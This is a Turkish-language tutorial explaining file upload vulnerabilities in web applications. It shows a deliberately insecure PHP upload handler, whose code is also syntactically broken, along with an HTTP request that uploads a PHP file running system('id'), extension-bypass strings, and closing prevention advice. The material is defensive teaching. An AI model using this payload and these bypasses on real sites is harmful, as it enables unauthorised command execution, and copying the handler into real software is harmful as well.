Dosya yükleme zafiyeti, bir Web uygulamasının kullanıcı tarafından dosya yükleyebildiği noktalarda, dosyanın yeterince doğrulanmamasından kaynaklı (Uzantı, içerik, vb…) oluşan güvenlik açığıdır. Günümüzde ise popülerliğini tam anlamıyla yitirmeyip çoğu zaman karşımıza çıkabilmektedir.
Bu güvenlik açığının en kritik etkileri, saldırganın Web uygulamasında yüklediği dosyanın içerisinde sistem hakkında bilgi alabileceği zararlı komutlar, hatta Web uygulaması üzerinden kendi makinelerine ters bağlantı sağlayıp sistemde komut yürütme zafiyetlerine kadar şekillendirilebilmektedir.
Örnek File Upload Saldırısı
Şimdi sizlerle örnek bir zafiyetli PHP Kaynak kodu inceleyelim.
<?php
if (isset ($_POST["uploads"])) {
$addr = $_FILES ['input_image']['tmp_name']
$fileName = basename($_FILES ["input_image"]["name"]);
if(!=empty($fileName)) {
if(!file_exists("upload")) {
mkdir("upload") } }
$path = "upload/".$fileName
echo "<pre>{$fileName} Yüklendi!</pre>"
}
?>
Yukarıdaki kod üzerinde görünen; Kullanıcıdan herhangi bir kısıtlama olmadan (Dosya tipi, dosya ismi, vb…) direkt olarak alınan dosya yeni bir dizin oluşturularak “uploads/” dizinin altına yüklenmektedir. Saldırganın alttaki yöntem ile dosyayı sisteme yüklediği halde zafiyeti tetikleyecektir.
POST /lab/file-upload/
Host: [Host]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL9BSIP2OjyWPkyN4
Content-Length: 331
------WebKitFormBoundaryL9BSIP2OjyWPkyN4
Content-Disposition: form-data; name="input_image"; filename="vuln.php"
Content-Type: application/octet-stream
<?php echo system("id"); ?>
------WebKitFormBoundaryL9BSIP2OjyWPkyN4
Yukarıda görüldüğü üzere resim dosya uzantısı değiştirilerek “vuln.php” PHP uzantılı dosya haline getirilmiş ve sisteme yüklenip dosya içerisinde hedef sistemden “id” bilgisini getirecek kod yazılmıştır.
File Upload Zafiyeti Nasıl Önlenir?
Web uygulamanıza dosya yüklenmesi çok normal bir durumdur fakat gerekli önlemleri almazsanız durum kritikleşebilir. Bu yüzden aşağıdaki kuralları uygulamanız halinde daha güvenli hale getirebilirsiniz:
Yüklenene dosya uzantısında blacklist metodu kullanmak yerine whitelist metodunuz ile yüklenen dosya uzantısını karşılaştırın. Unutmayın ki sadece blacklist metodu kullanırsanız dosya uzantısı üzerinde ufak oynamalar yapılarak örn:(vuln.php.png, vuln.php%00.png%00.jpg) yöntemleri ile bypass edilebilir.
Yüklenen dosyaları harici bir dizinde saklayın. Bu yöntem saldırganların Web sitesi URL'si sayesinde kötü amaçlı dosyaları yürütülmesini engeller.
Dosya yükleme sırasında virüs tarayıcısı kullanın. Bu sayede sisteme yüklenen dosyaların içeriklerini kontrol ederek zararlı kod çalıştırılmasının önüne geçmiş olursunuz.